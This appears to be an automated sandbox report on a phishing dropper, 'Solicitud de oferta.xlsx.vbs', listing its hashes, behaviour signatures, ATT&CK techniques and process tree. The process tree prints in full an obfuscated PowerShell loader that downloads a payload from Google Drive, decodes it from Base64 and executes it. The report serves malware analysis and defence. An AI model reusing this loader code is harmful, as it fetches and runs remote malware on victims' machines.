82723f1b548766a4f549f45cd1342addc50c4a5706c8ffb8e4554f724dc7ac52

General

Target

Solicitud de oferta.xlsx.vbs
Size

429KB
MD5

9a509f7b5c066681e30a9f0d460375e3
SHA1

1de410352842ad3e9564579ad311ccfc1892cb91
SHA256

3d20bb55c63e72fe100bd9b8a8731fe4940b39091f3c8d4812cd456f0a47c459
SHA512

b3115fc12c6538130fa941c36b3427c68b43f85b9698769c0d44c70e66129429fda9e4743918ce9259a206dd8483edcefc12face45e31e2c9c4b5736e1ac6ffa
SSDEEP

12288:1iJv0ayfOb64MRycngoavbN0vBrbelwuL:1IvBCngoKyYau

Score

8^/10

Malware Config

Signatures

Blocklisted process makes network request 3 IoCs

flow	pid	Process
3	1632	WScript.exe
5	2516	powershell.exe
7	2516	powershell.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
4	drive.google.com
5	drive.google.com

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
2516	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2516	powershell.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 1632 wrote to memory of 2516	1632	WScript.exe	29
PID 1632 wrote to memory of 2516	1632	WScript.exe	29
PID 1632 wrote to memory of 2516	1632	WScript.exe	29
PID 2516 wrote to memory of 2936	2516	powershell.exe	31
PID 2516 wrote to memory of 2936	2516	powershell.exe	31
PID 2516 wrote to memory of 2936	2516	powershell.exe	31

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Solicitud de oferta.xlsx.vbs"
1⤵
- Blocklisted process makes network request
- Suspicious use of WriteProcessMemory
PID:1632
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "$Kalkulerede = 1;$Fortsttelserne='Su';$Fortsttelserne+='bstrin';$Fortsttelserne+='g';Function Pseudoperspective($Fomes){$Fornemmende=$Fomes.Length-$Kalkulerede;For($Haiduck=1;$Haiduck -lt $Fornemmende;$Haiduck+=2){$Reboiled+=$Fomes.$Fortsttelserne.Invoke( $Haiduck, $Kalkulerede);}$Reboiled;}function Tvivlraadigstes($Albylens155){.($Forureningsfrit) ($Albylens155);}$Tryllebind=Pseudoperspective 'PM,o.zKi,lTlKa / 5V..0A ,(GW.i n d oMwSsS N TE F1 0,. 0G;F KW i,nF6 4A; x 6S4.; r vT:,1 2 1..H0 )U ,GVeHc,k,o./O2B0M1B0G0.1S0 1r F iMr e fIoTxM/J1.2B1 ..0 ';$pseudos=Pseudoperspective ' U.see,r.-SARgMe ngtS ';$Experimented=Pseudoperspective ',h tSt p,s :./P/.d r.i vSe .UgBo,o.gPlKe ..c oOm /cu c.?,e,x.p o,r,tD= d.oDw nRlToBaId & i.dS= 1.o ISyKO TSJ p I.s g dVA.V,OT3.bUfSj.w oIHDmKi,KTl.bOh e 7DIFqSaA ';$Fakses=Pseudoperspective '.> ';$Forureningsfrit=Pseudoperspective 'SiCeRxJ ';$Lodestar176='monotheism';Tvivlraadigstes (Pseudoperspective 'FS,ePtR-PCFoKnUtTe.nStA .-jPHaNt hh gT,: \SUSiSrSiBnNaa.It x tK K- VTa lBu,e P$PL oLdPe sBtDa.rF1a7,6K; ');Tvivlraadigstes (Pseudoperspective 'FiSfP (Pt eHs tL-SpPa tTh .T :P\FU.ifrJi n aT.Jt xTtV).{Cehx iCtO} ;B ');$Bengals = Pseudoperspective '.e.c h o, %.a p p d a t aL% \IS.n aEpAs h a,r,e . M.y s ,& &U e,c hNoS ,$ ';Tvivlraadigstes (Pseudoperspective 'R$Sg.l o,bfa l.:SF i nOkfuAl tSuKr = ( cImCdA /.c. P$ B e,n gHa lPs,)D ');Tvivlraadigstes (Pseudoperspective 'A$.gLlDo b aUlA:AA lBp.h.o n s eS= $ ECx.p.eErRi m,eSnCtTe,dA.Ss p.lNi t (.$.FTa k s,eKsM)S ');$Experimented=$Alphonse[0];Tvivlraadigstes (Pseudoperspective 'M$RgWlPo bSaMlH:,K.a rMt o,t eFk sMosp gCaAv.e nOsr=UNKeBw -.OSbLjRe.c tH SGy s tTeamH..NFePt .PW e bSCOl i eOnstB ');Tvivlraadigstes (Pseudoperspective ' $ KRa.r tSoLtOe.k s oLp gSaKv eDnNs.. H e a.d,eSr.s.[A$.pBsSeGuldPo,s ]H=M$FT,rLyPl l,e b ignDdS ');$Husvale47=Pseudoperspective ' K,aTrMt,oPt.eRk sTo pGgHa vSe,n,sP.NDTo w n l oPa.d.F i l,eR( $.EBxTpReSrFiCmAe n tAe d,,M$SSHiFlBl iLb uHb,s )K ';$Husvale47=$Finkultur[1]+$Husvale47;$Sillibubs=$Finkultur[0];Tvivlraadigstes (Pseudoperspective 'v$ gLl,o b,aElD: U dFvPlBg,eMl,sPe =D(QT e s tT-JP aWt.hS $,SWi l l i bmuubSs.)i ');while (!$Udvlgelse) {Tvivlraadigstes (Pseudoperspective ' $HgSlFo.bsabl :PS.kSiSlOlEe lPiDnBjSeSrFs = $HtOr u eS ') ;Tvivlraadigstes $Husvale47;Tvivlraadigstes (Pseudoperspective ' S tWa rDtD- SvlFe,e.p k4U ');Tvivlraadigstes (Pseudoperspective 'H$TgSlGoDbSa.l,:sUMd.vVlGgce lSsae =,( TPeTs,tI-UP a tUhT M$TS.iClNlTiKbHu,b s.)S ') ;Tvivlraadigstes (Pseudoperspective ',$dgOl,o bHa l :CF o.xUlFy =O$sgSlEoDb aTlE:TS,o.uMp.eLr eSs,+,+D%G$.ACl pNhKoEn s,e..,cUo.uInBtI ') ;$Experimented=$Alphonse[$Foxly];}$Cataphoria=318333;$Beslaglgningerne=25185;Tvivlraadigstes (Pseudoperspective ' $.gIl oFb a lA:RS,t o l,eBmBa g e r nseSsC U=H MGTeWt -rCQoGn,tEe,n tp E$,SUi,lHl iIb.u b.sT ');Tvivlraadigstes (Pseudoperspective ' $CgClOoTb aTl : TVr uGs t oFro = P[KS y sat.e,m . CAoSn,v e r,tU]N: :HF rMo m B.a.swe 6,4US tLrPi n,gS(A$NS,tPo lne m aTg eErCnBe s )I ');Tvivlraadigstes (Pseudoperspective 'K$ gHlCoFbtaRl :.U.n,w oIr,kSeJdsn eLs sP .= u[.SBy sUtSeJmT. TSe xPtS.,ELnMc,o.d i,nTgS],:C:AA,StC IMI..SG eAtBS.tCr iMn.gC( $ T rMuMs t oHr,), ');Tvivlraadigstes (Pseudoperspective 'F$RgCl o bDaJlF: SDqFu i l lDaTsP= $ U n w o r k esd nUe s s,.Fs uMbSs tAr.i.nPgR( $OC.a tBa pRhPomr iNa ,I$SB,eDsblMa g,l gbn iFn gLe r nAe,)B ');Tvivlraadigstes $Squillas;"
  2⤵
  - Blocklisted process makes network request
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2516
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c "echo %appdata%\Snapshare.Mys && echo $"
    3⤵
    PID:2936

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

1

T1082

Lateral Movement

Collection

Command and Control

Web Service

1

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Temp\CabD4C.tmp

Filesize
68KB

MD5
29f65ba8e88c063813cc50a4ea544e93

SHA1
05a7040d5c127e68c25d81cc51271ffb8bef3568

SHA256
1ed81fa8dfb6999a9fedc6e779138ffd99568992e22d300acd181a6d2c8de184

SHA512
e29b2e92c496245bed3372578074407e8ef8882906ce10c35b3c8deebfefe01b5fd7f3030acaa693e175f4b7aca6cd7d8d10ae1c731b09c5fa19035e005de3aa

Download Submit
memory/2516-20-0x000007FEF5D9E000-0x000007FEF5D9F000-memory.dmp

Filesize
4KB

Download
memory/2516-21-0x000000001B530000-0x000000001B812000-memory.dmp

Filesize
2.9MB

Download
memory/2516-22-0x0000000002350000-0x0000000002358000-memory.dmp

Filesize
32KB

Download
memory/2516-23-0x000007FEF5AE0000-0x000007FEF647D000-memory.dmp

Filesize
9.6MB

Download
memory/2516-25-0x000007FEF5AE0000-0x000007FEF647D000-memory.dmp

Filesize
9.6MB

Download
memory/2516-24-0x000007FEF5AE0000-0x000007FEF647D000-memory.dmp

Filesize
9.6MB

Download
memory/2516-26-0x000007FEF5AE0000-0x000007FEF647D000-memory.dmp

Filesize
9.6MB

Download
memory/2516-27-0x000007FEF5AE0000-0x000007FEF647D000-memory.dmp

Filesize
9.6MB

Download
memory/2516-30-0x000007FEF5AE0000-0x000007FEF647D000-memory.dmp

Filesize
9.6MB

Download

Analysis

Sharing